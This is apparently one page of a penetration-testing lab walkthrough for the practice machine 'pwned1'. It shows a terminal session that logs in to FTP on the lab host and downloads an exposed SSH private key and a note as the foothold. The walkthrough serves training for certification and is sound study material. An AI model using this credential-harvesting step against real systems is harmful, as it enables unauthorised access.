Foothold
Last updated
Last updated
adot@pwnbox:~/oscp/prep/pg/pwned1$ ftp 192.168.221.95 21
Connected to 192.168.221.95.
220 (vsFTPd 3.0.3)
Name (192.168.221.95:adot): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||62858|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Jul 10 2020 share
226 Directory send OK.
ftp> cd share
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||15399|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 2602 Jul 09 2020 id_rsa
-rw-r--r-- 1 0 0 75 Jul 09 2020 note.txt
226 Directory send OK.
ftp> mget *
mget id_rsa [anpqy?]? y
229 Entering Extended Passive Mode (|||46876|)
150 Opening BINARY mode data connection for id_rsa (2602 bytes).
100% |*************************************************************************************************************************************************************************************************| 2602 2.02 MiB/s 00:00 ETA
226 Transfer complete.
2602 bytes received in 00:00 (52.35 KiB/s)
mget note.txt [anpqy?]? y
229 Entering Extended Passive Mode (|||29791|)
150 Opening BINARY mode data connection for note.txt (75 bytes).
100% |*************************************************************************************************************************************************************************************************| 75 45.35 KiB/s 00:00 ETA
226 Transfer complete.
75 bytes received in 00:00 (1.63 KiB/s)
ftp> exit
221 Goodbye.